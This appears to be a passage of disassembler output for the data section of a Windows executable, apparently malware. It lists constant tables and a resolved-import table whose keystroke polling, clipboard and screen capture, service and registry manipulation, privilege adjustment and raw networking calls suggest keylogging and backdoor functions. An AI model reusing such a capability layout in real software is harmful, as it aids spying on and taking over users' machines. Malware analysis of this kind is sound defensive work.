; sub_41760D+430r
off_4317F4 dd offset sub_41A7C6 ; DATA XREF: sub_412929+1Ew
; sub_41461C+3CBr
off_4317F8 dd offset sub_41A7C6 ; DATA XREF: sub_412929+28w
off_4317FC dd offset sub_41A7C6 ; DATA XREF: sub_412929+32w
dd offset sub_41A7CF
align 10h
dd offset sub_41746C
off_431814 dd offset sub_41746C ; DATA XREF: sub_4174C2+29r
dword_431818 dd 0D2D0920h, 5Dhdword_431820 dd 5Dh, 0 byte_431828 db 1 ; DATA XREF: .nsp0:00418971r
db 2, 4, 8
align 10h
dword_431830 dd 3A4h dword_431834 dd 82798260h, 21h, 0dword_431840 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_431920 dd 1 ; sub_418CFA+Co
dword_431924 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_431A88 dd 0C0000005h ; sub_418EA2+Ar ...
dword_431A8C dd 0Bh dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_431B00 dd 3 ; sub_41BB67+C8r
dword_431B04 dd 7 ; sub_41BB67+CDr
dword_431B08 dd 0Ah ; sub_41BC94+4r
dword_431B0C dd 8Ch ; .nsp0:00418DF0w ...
dword_431B10 dd 0FFFFFFFFh, 0A00h ; sub_418180:loc_418201o
dword_431B18 dd 2 ; sub_419639+28r
off_431B1C dd offset aR6002FloatingP ; DATA XREF: sub_419639+FCr
; sub_419639+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 41DABCh, 9, 41DA90h, 0Ah, 41DA6Ch, 10h, 41DA40h
dd 11h, 41DA10h, 12h, 41D9ECh, 13h, 41D9C0h, 18h, 41D988h
dd 19h, 41D960h, 1Ah, 41D928h, 1Bh, 41D8F0h, 1Ch, 41D8C8h
dd 78h, 41D8B8h, 79h, 41D8A8h, 7Ah, 41D898h, 0FCh, 421F48h
dd 0FFh, 41D888h
off_431BA8 dd offset dword_462EC0 ; DATA XREF: sub_419639+1Bo
; sub_4199A3+55o
align 10h
dd offset dword_462EC0
dd 101h
dword_431BB8 dd 2 dup(0) dd 1000h, 0
dword_431BC8 dd 3 dup(0) ; sub_415086+12o
dd 2, 1, 3 dup(0)
dword_431BE8 dd 3 dup(0) ; sub_415086:loc_4150A4o
dd 2 dup(2), 7 dup(0)
dword_431C18 dd 84h dup(0) dword_431E28 dd 2694h ; sub_415F21+46r ...
align 10h
dword_431E30 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_431E48 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_431E60 dd 7080h ; sub_41AA32+5Ew ...
dword_431E64 dd 1 ; sub_41AA32+8Bw ...
dword_431E68 dd 0FFFFF1F0h ; sub_41AA32+94w ...
dword_431E6C dd 545350h, 0Fh dup(0)dword_431EAC dd 544450h, 0Fh dup(0)off_431EEC dd offset dword_431E6C ; DATA XREF: sub_41AA32+BAr
; sub_41AA32+D9r ...
off_431EF0 dd offset dword_431EAC ; DATA XREF: sub_41AA32+F4r
; sub_41AA32+11Br ...
align 8
dword_431EF8 dd 0FFFFFFFFh ; sub_41AC90+1Er ...
dword_431EFC dd 0 ; sub_41AE3C+BFw
dword_431F00 dd 0 ; sub_41AE3C+E0w
align 8
dword_431F08 dd 0FFFFFFFFh ; sub_41AC90+26r ...
dword_431F0C dd 0 ; sub_41AE3C+EAw ...
dword_431F10 dd 0 ; sub_41AE3C+23r ...
dword_431F14 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_431F44 dd 16Dh ; sub_41AE3C+2Er ...
dword_431F48 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_431F80 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_4320E0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_41BFEC+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_432240 dd offset off_41DCAC ; DATA XREF: .nsp0:off_41DCD0o
; .nsp0:0041DDFCo ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_432258 dd offset off_41DCAC ; DATA XREF: .nsp0:off_41DCE8o
; .nsp0:0041DD7Co ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_432278 dd offset off_41DCAC ; DATA XREF: .nsp0:off_41DD00o
; .nsp0:0041DD44o ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_432298 dd offset off_41DCAC ; DATA XREF: .nsp0:off_41DD88o
; .nsp0:0041DDCCo ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_4322B8 dd offset off_41DCAC ; DATA XREF: .nsp0:off_41DE08o
; .nsp0:0041DE44o
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_41A7CF
dd 10Ah dup(0)
dword_4326FC dd 2 dup(0) dword_432704 dd 0 ; .nsp0:0040F80Ao ...
byte_432708 db 0 ; DATA XREF: sub_4031F5+10o
; sub_40516F+74o ...
align 4
dword_43270C dd 0 ; sub_40405E+51r ...
dword_432710 dd 0 ; sub_4038B1+82r ...
align 8
dword_432718 dd 0 ; sub_405CA4+92w ...
dword_43271C dd 0 ; sub_405FF1+D9w ...
dd 256h dup(0)
dword_433078 dd 6 dup(0) ; sub_405DDD+138o ...
dword_433090 dd 0 ; .nsp0:004059CAo
dword_433094 dd 41h dup(0) dword_433198 dd 41h dup(0) dword_43329C dd 0 ; .nsp0:004059DCr
dword_4332A0 dd 0 dword_4332A4 dd 0 ; .nsp0:00405997r
dword_4332A8 dd 20h dup(0) ; .nsp0:00405982o
dword_433328 dd 0 dword_43332C dd 0 ; .nsp0:0040598Fw
dword_433330 dd 0 align 8
dword_433338 dd 0 ; .nsp0:00405BF6o
dword_43333C dd 0A2h dup(0) dword_4335C4 dd 41h dup(0) dword_4336C8 dd 0 ; .nsp0:00405BA9r
align 10h
dword_4336D0 dd 0 ; .nsp0:00405C08r
dword_4336D4 dd 0 dword_4336D8 dd 0 dword_4336DC dd 0 dd 0
dword_4336E4 dd 0 dword_4336E8 dd 0 dword_4336EC dd 82h dup(0) dword_4338F4 dd 0 ; .nsp0:00405AFBr
dword_4338F8 dd 0 dword_4338FC dd 0 dd 21h dup(0)
dword_433984 dd 0 dword_433988 dd 0 align 10h
dword_433990 dd 0 ; resolved to->GDI32.DeleteDC ; sub_4068C6+4CDr
dword_433994 dd 0 ; resolved to->KERNEL32.Module32First ; sub_410A77+F5r
dword_433998 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_4068C6+862r ...
dword_43399C dd 0 ; sub_4068C6+A18r ...
dword_4339A0 dd 0 ; sub_4068C6+9E8r ...
dword_4339A4 dd 0 ; resolved to->GDI32.SelectObject ; sub_4068C6+4BDr
dword_4339A8 dd 0 ; resolved to->USER32.GetKeyState ; sub_4021FB+109r ...
dword_4339AC dd 0 ; sub_4068C6+A10r ...
dword_4339B0 dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_4068C6+3A9r ...
dword_4339B4 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_4089A5+11Er
dword_4339B8 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_4068C6+3B1r ...
dword_4339BC dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_410065+ADr
dword_4339C0 dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_4068C6+53Cw
dword_4339C4 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4068C6+D2r ...
dword_4339C8 dd 0 ; sub_4068C6+9DBr ...
dword_4339CC dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4068C6+3C9r ...
dword_4339D0 dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_4068C6+88Er
dword_4339D4 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4068C6+2D6r
dword_4339D8 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_4068C6+886r ...
dword_4339DC dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4339E0 dd 0 ; resolved to->WININET.InternetReadFile ; sub_4068C6+896r ...
dword_4339E4 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_4068C6+52Fw ...
dword_4339E8 dd 0 ; resolved to->KERNEL32.Process32Next ; sub_4068C6+CAr ...
dword_4339EC dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_4080EB+11Ar
dword_4339F0 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4068C6+A6Dr ...
dword_4339F4 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4068C6+F2r
dword_4339F8 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_4068C6+4B5r
dword_4339FC dd 0 ; resolved to->WS2_32.ntohl ; sub_4068C6+5D8w ...
dword_433A00 dd 0 ; sub_4068C6+A08r
dword_433A04 dd 0 ; resolved to->WS2_32.ntohs ; sub_4068C6+5CBw ...
dword_433A08 dd 0 dword_433A0C dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_4068C6+84Fr ...
dword_433A10 dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_407CC7+15r
dword_433A14 dd 0 ; sub_4068C6+9F0r ...
dword_433A18 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_4068C6+3B9r ...
dword_433A1C dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_4068C6+3C1r ...
dword_433A20 dd 0 ; sub_4068C6+C5Dr
dword_433A24 dd 0 ; resolved to->WS2_32.getpeernamedword_433A28 dd 0 ; resolved to->WS2_32.WSACleanup ; .nsp0:loc_401B70r ...
dword_433A2C dd 0 ; resolved to->GDI32.DeleteObjectdword_433A30 dd 0 ; sub_4068C6+A20r ...
dword_433A34 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4068C6+2DEr ...
dword_433A38 dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4068C6+DAr ...
dword_433A3C dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_4068C6+B75r ...
dword_433A40 dd 0 ; resolved to->WS2_32.WSAStartup ; .nsp0:004018F9r ...
dword_433A44 dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_4068C6+872r
dword_433A48 dd 0 ; sub_4068C6+9F8r
dword_433A4C dd 0 ; sub_4068C6+C10r
dword_433A50 dd 0 ; resolved to->USER32.GetForegroundWindow ; sub_4021FB+63r ...
dword_433A54 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_4068C6+910r ...
dword_433A58 dd 0 dword_433A5C dd 0 ; resolved to->WS2_32.WSAGetLastError ; .nsp0:00401483r ...
dword_433A60 dd 0 ; resolved to->WININET.InternetOpenA ; sub_4068C6+855r
dword_433A64 dd 0 ; resolved to->USER32.GetWindowTextA ; sub_4021FB+78r ...
dword_433A68 dd 0 ; resolved to->USER32.IsWindow ; sub_4068C6+1C2r
dword_433A6C dd 0 ; resolved to->WS2_32.getsockname ; sub_4068C6+786r ...
dword_433A70 dd 0 ; resolved to->WS2_32.connect ; sub_40516F+62r ...
dword_433A74 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_4068C6+549w ...
dword_433A78 dd 0 ; sub_4068C6:loc_4071A1w ...
dword_433A7C dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4068C6+2C6r ...
dword_433A80 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_4068C6+681w ...
dword_433A84 dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_4068C6+323r ...
dword_433A88 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_4068C6+3D1r ...
dword_433A8C dd 0 ; sub_4068C6+C08r
dword_433A90 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_4068C6+86Ar
dword_433A94 dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_4068C6+206w ...
dword_433A98 dd 0 ; resolved to->USER32.OpenClipboard ; sub_4068C6+1D2r ...
dword_433A9C dd 0 ; resolved to->WININET.InternetConnectA ; sub_4068C6+87Ar
dword_433AA0 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_4068C6+606w ...
dword_433AA4 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_409026+5Ar ...
dword_433AA8 dd 0 ; resolved to->WSOCK32.setsockopt ; .nsp0:00401939r ...
dword_433AAC dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_4068C6+316r ...
dword_433AB0 dd 0 ; resolved to->WS2_32.select ; sub_405290+1FCr ...
dword_433AB4 dd 0 ; resolved to->GDI32.CreateDCA ; sub_4068C6+490r
dword_433AB8 dd 0 ; resolved to->USER32.GetClipboardData ; sub_4068C6+1DAr ...
dword_433ABC dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4068C6+39Cr ...
dword_433AC0 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_433AC4 dd 0 ; resolved to->WS2_32.ntohl ; .nsp0:004012ABr ...
dword_433AC8 dd 0 ; resolved to->WS2_32.ntohs ; .nsp0:0040114Fr ...
dword_433ACC dd 0 ; resolved to->KERNEL32.Process32First ; sub_4068C6+C2r ...
dword_433AD0 dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_4068C6+4ADr
dword_433AD4 dd 0 ; resolved to->USER32.FindWindowA ; sub_4068C6+1BAr ...
dword_433AD8 dd 0 ; sub_41094E+72r
dword_433ADC dd 0 ; resolved to->WS2_32.gethostname ; sub_4068C6+78Er
dword_433AE0 dd 0 ; resolved to->WSOCK32.recv ; sub_402E17+75r ...
dword_433AE4 dd 0 ; sub_4068C6+C18r
dword_433AE8 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_4068C6+BAr ...
dword_433AEC dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_4068C6+2CEr ...
dword_433AF0 dd 0 ; resolved to->WS2_32.listen ; sub_406250+9Cr ...
dword_433AF4 dd 0 ; resolved to->WS2_32.bind ; sub_404175+89r ...
dword_433AF8 dd 0 dword_433AFC dd 0 ; resolved to->WININET.InternetCloseHandle ; .nsp0:00409637r
dword_433B00 dd 0 dword_433B04 dd 0 ; sub_4068C6+BF3r
dword_433B08 dd 0 ; resolved to->WS2_32.inet_addr ; sub_4032B0+ECr ...
dword_433B0C dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_4068C6+49Dr
dword_433B10 dd 0 ; resolved to->GDI32.BitBlt ; sub_4068C6+4C5r
dword_433B14 dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_4068C6+4A5r
dword_433B18 dd 0 ; resolved to->WS2_32.send ; sub_402E96+35r ...
dword_433B1C dd 0 ; resolved to->USER32.CloseClipboard ; sub_4068C6+1E2r ...
dword_433B20 dd 0 ; sub_4068C6+A28r ...
dword_433B24 dd 0 ; resolved to->USER32.SendMessageA ; sub_4068C6+1ADr
dword_433B28 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_4068C6+E2r ...
dword_433B2C dd 0 ; resolved to->WS2_32.sendto ; .nsp0:00401B08r ...
dword_433B30 dd 0 ; sub_4068C6+B30r
dword_433B34 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_410A0C+55r
dword_433B38 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4068C6+2B9r ...
dword_433B3C dd 0 ; resolved to->SHELL32.SHChangeNotifydword_433B40 dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_407F67+CEr
dword_433B44 dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_4068C6+AB7r ...
dword_433B48 dd 0 ; resolved to->WS2_32.socket ; .nsp0:00401C2Br ...
dword_433B4C dd 0 ; resolved to->WS2_32.gethostbyname ; sub_4068C6+674w ...
dword_433B50 dd 0 ; sub_4068C6+C00r
dword_433B54 dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_405290+250r ...
dword_433B58 dd 0 ; sub_4068C6+A00r ...
dword_433B5C dd 0 ; resolved to->WS2_32.accept ; sub_406250+B3r ...
dword_433B60 dd 0 ; resolved to->WS2_32.closesocket ; .nsp0:00401B69r ...
dword_433B64 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_404175+39Fr ...
dword_433B68 dd 0 ; sub_4068C6+B28r
dword_433B6C dd 0 ; resolved to->WS2_32.WSASocketA ; .nsp0:00401919r ...
dword_433B70 dd 0 ; sub_4068C6+B1Br
dword_433B74 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_4068C6+ADr ...
dword_433B78 dd 0 ; resolved to->USER32.DestroyWindow ; sub_4068C6+1CAr
align 10h
dword_433B80 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_4068C6+91Dr ...
dword_433B84 dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_4068C6+EAr ...
dword_433B88 dd 0 ; sub_4068C6+12Bw ...
dword_433B8C dd 0 ; sub_407553+1Cr
dword_433B90 dd 0 ; sub_4068C6:loc_406B1Bw ...
dword_433B94 dd 0 ; sub_407553+50r
dword_433B98 dd 0 ; sub_4068C6:loc_406BF5w ...
dword_433B9C dd 0 ; sub_407553+84r
dword_433BA0 dd 0 ; sub_407553:loc_407603r
dword_433BA4 dd 0 ; sub_407553+B8r
dword_433BA8 dd 0 ; sub_407553:loc_407637r
dword_433BAC dd 0 ; sub_407553+ECr
dword_433BB0 dd 0 ; sub_4068C6+8D1w ...
dword_433BB4 dd 0 ; sub_407553+120r
dword_433BB8 dd 0 ; sub_407553:loc_40769Fr ...
dword_433BBC dd 0 ; sub_407553+154r
dword_433BC0 dd 0 ; sub_407553:loc_4076D3r ...
dword_433BC4 dd 0 ; sub_407553+188r
dword_433BC8 dd 0 ; sub_407553:loc_407707r
dword_433BCC dd 0 ; sub_407553+1BCr
dword_433BD0 dd 0 ; sub_407553:loc_40773Br
dword_433BD4 dd 0 ; sub_407553+1F0r
dword_433BD8 dd 0 ; sub_407553:loc_40776Fr
dword_433BDC dd 0 ; sub_407553+224r
dword_433BE0 dd 0 ; sub_407553:loc_4077A3r
dword_433BE4 dd 0 ; sub_407553+258r
dword_433BE8 dd 0 ; sub_407553:loc_4077D7r
dword_433BEC dd 0 ; sub_407553+28Cr
dword_433BF0 dd 0 ; sub_407553:loc_40780Br
dword_433BF4 dd 0 ; sub_407553+2C0r
dd 81h dup(0)
dword_433DFC dd 5 dup(0) dword_433E10 dd 0 ; .nsp0:004085D0r
dword_433E14 dd 0 ; .nsp0:004085B3r ...
dword_433E18 dd 0 dword_433E1C dd 0 dword_433E20 dd 0Dh dup(0) dword_433E54 dd 0 ; .nsp0:00408668r ...
dd 0
dword_433E5C dd 0Eh dup(0) dword_433E94 dd 1000h dup(0) ; sub_408EB7o ...
dword_437E94 dd 0 ; sub_408EB7+Eo ...
dword_437E98 dd 0Eh dup(0) dword_437ED0 dd 2 dup(0) dword_437ED8 dd 0 ; sub_408D1F+44r ...
dd 5 dup(0)
dword_437EF0 dd 0 ; .nsp0:0040AC38r
dd 2D9h dup(0)
dword_438A58 dd 0 ; sub_408D1F+2Do ...
dd 7Fh dup(0)
dword_438C58 dd 0 ; sub_411AD5+40w ...
dword_438C5C dd 0 ; sub_405DDD:loc_405E24r ...
dword_438C60 dd 0 ; sub_411AD5+3Ar ...
dword_438C64 dd 0 ; sub_404175+7Ew ...
dword_438C68 dd 0 ; .nsp0:00406612r ...
dword_438C6C dd 0 ; .nsp0:004059EAw ...
byte_438C70 db 0 ; DATA XREF: sub_40A059+91o
; .nsp0:0040D14Br ...
align 4
dd 32B7h dup(0)
dword_445750 dd 71FEh dup(0) dword_461F48 dd 0 ; .nsp0:00409B38w ...
align 10h
dword_461F50 dd 0 dword_461F54 dd 20h dup(0) ; .nsp0:00409FBCo ...
dword_461FD4 dd 10h dup(0) ; .nsp0:0040ABBDo
dword_462014 dd 24h dup(0) dword_4620A4 dd 0 ; .nsp0:00409FD3w ...
dword_4620A8 dd 0 dd 3 dup(0)
dword_4620B8 dd 0 dword_4620BC dd 0 ; .nsp0:0040A5AFr
byte_4620C0 db 0 ; DATA XREF: sub_40A1C1+28r
; sub_40A1C1+30o
align 8
dword_4620C8 dd 0 ; .nsp0:00409F87r ...
dword_4620CC dd 0 ; .nsp0:0040AB61r
dword_4620D0 dd 17h dup(0) ; sub_40FBB5+131o ...
dword_46212C dd 7 dup(0) ; sub_41094E+A5o
dword_462148 dd 0 ; sub_411C01+19o
dword_46214C dd 78h dup(0) dword_46232C dd 0 ; sub_40FF2F+4Dr ...
dword_462330 dd 17h dup(0) ; sub_41081A+12Do
dword_46238C dd 80h dup(0) ; sub_40FE70+7Do ...
byte_46258C db 0 ; DATA XREF: sub_40FF2F+29r
; sub_40FF2F+34w
align 10h
dword_462590 dd 80h dup(0) ; sub_410186+88o ...
dword_462790 dd 81h dup(0) ; sub_40FA8C+50o ...
dword_462994 dd 84h dup(0) dword_462BA4 dd 0 dword_462BA8 dd 0 ; sub_4134A4+A4w
align 10h
word_462BB0 dw 0 ; DATA XREF: sub_4134A4+55r
; sub_4134A4+9Ao
word_462BB2 dw 0 ; DATA XREF: sub_4134A4+48r
db 2 dup(0)
word_462BB6 dw 0 ; DATA XREF: sub_4134A4+3Br
word_462BB8 dw 0 ; DATA XREF: sub_4134A4+2Er
word_462BBA dw 0 ; DATA XREF: sub_4134A4+21r
align 10h
dword_462BC0 dd 0 ; sub_413668+91w
dword_462BC4 dd 0 ; sub_41380E:loc_41388Aw ...
dword_462BC8 dd 0 ; sub_414E9B:loc_414F35w ...
dword_462BCC dd 0 dword_462BD0 dd 0 dword_462BD4 dd 0 dword_462BD8 dd 0 dword_462BDC dd 0 dword_462BE0 dd 0 ; sub_418FF6+91w
dword_462BE4 dd 0 ; .nsp0:00409E07r ...
dd 0
dword_462BEC dd 0 ; sub_41BCD9+9r ...
dword_462BF0 dd 0 dword_462BF4 dd 0 ; sub_41C0A7+4r ...
dd 3 dup(0)
byte_462C04 db 0 ; DATA XREF: sub_413FF9+2Dw
; sub_419A48+5r
align 4
dword_462C08 dd 0 dword_462C0C dd 0 ; sub_413FF9+8Bw
dword_462C10 dd 0 ; sub_418F3D:loc_418F4Fr ...
align 8
dword_462C18 dd 0 dword_462C1C dd 0 dd 0
dword_462C24 dd 0 ; sub_413D8F:loc_413E8Br ...
dword_462C28 dd 0 dword_462C2C dd 0 ; sub_4169EA+1Ar ...
byte_462C30 db 0 ; DATA XREF: sub_4168E6+3r
; sub_4168E6+98r ...
align 4
dword_462C34 dd 0 ; sub_416AC8+21w ...
byte_462C38 db 0 ; DATA XREF: sub_416AC8+51w
align 4
dword_462C3C dd 0 ; sub_417099+3Ar ...
dword_462C40 dd 0 ; sub_417099+43r ...
dword_462C44 dd 0 ; sub_416E65+5r
dword_462C48 dd 0 dword_462C4C dd 0 ; .nsp0:0041868Dw ...
dd 2 dup(0)
dword_462C58 dd 0 ; sub_413A37+9Dr ...
dd 3 dup(0)
dword_462C68 dd 0 ; sub_4142C9+BFr ...
align 10h
dword_462C70 dd 0 ; sub_418A29+4w ...
dword_462C74 dd 0 ; .nsp0:00418DA7w ...
dword_462C78 dd 41h dup(0) dword_462D7C dd 0 ; sub_419243+23w ...
dword_462D80 dd 0 dword_462D84 dd 0 ; sub_415150+154w ...
dword_462D88 dd 0 ; .nsp0:loc_419B2Ew
dword_462D8C dd 0 word_462D90 dw 0 ; DATA XREF: sub_41A6AC+1Ao
; sub_41A6AC+46r
byte_462D92 db 0 ; DATA XREF: sub_41A6AC+39r
align 4
dword_462D94 dd 7 dup(0) dword_462DB0 dd 0 ; sub_41A6AC+5Co
dword_462DB4 dd 0 dword_462DB8 dd 0 dword_462DBC dd 0 dword_462DC0 dd 0 ; sub_41A7CF+38r ...
align 8
dword_462DC8 dd 0 ; sub_41AA32+63w ...
align 10h
dword_462DD0 dd 0 ; sub_41AA32+46r
dword_462DD4 dd 10h dup(0) word_462E14 dw 0 ; DATA XREF: sub_41AC90+A8r
word_462E16 dw 0 ; DATA XREF: sub_41AA32+54r
; sub_41AC90+DBr ...
word_462E18 dw 0 ; DATA XREF: sub_41AC90+CAr
word_462E1A dw 0 ; DATA XREF: sub_41AC90+D3r
; sub_41AC90:loc_41AD82r
word_462E1C dw 0 ; DATA XREF: sub_41AC90+C0r
word_462E1E dw 0 ; DATA XREF: sub_41AC90+B8r
word_462E20 dw 0 ; DATA XREF: sub_41AC90+B0r
word_462E22 dw 0 ; DATA XREF: sub_41AC90+9Er
dword_462E24 dd 0 dword_462E28 dd 10h dup(0) word_462E68 dw 0 ; DATA XREF: sub_41AC90+46r
word_462E6A dw 0 ; DATA XREF: sub_41AA32:loc_41AAA9r
; sub_41AC90+78r ...
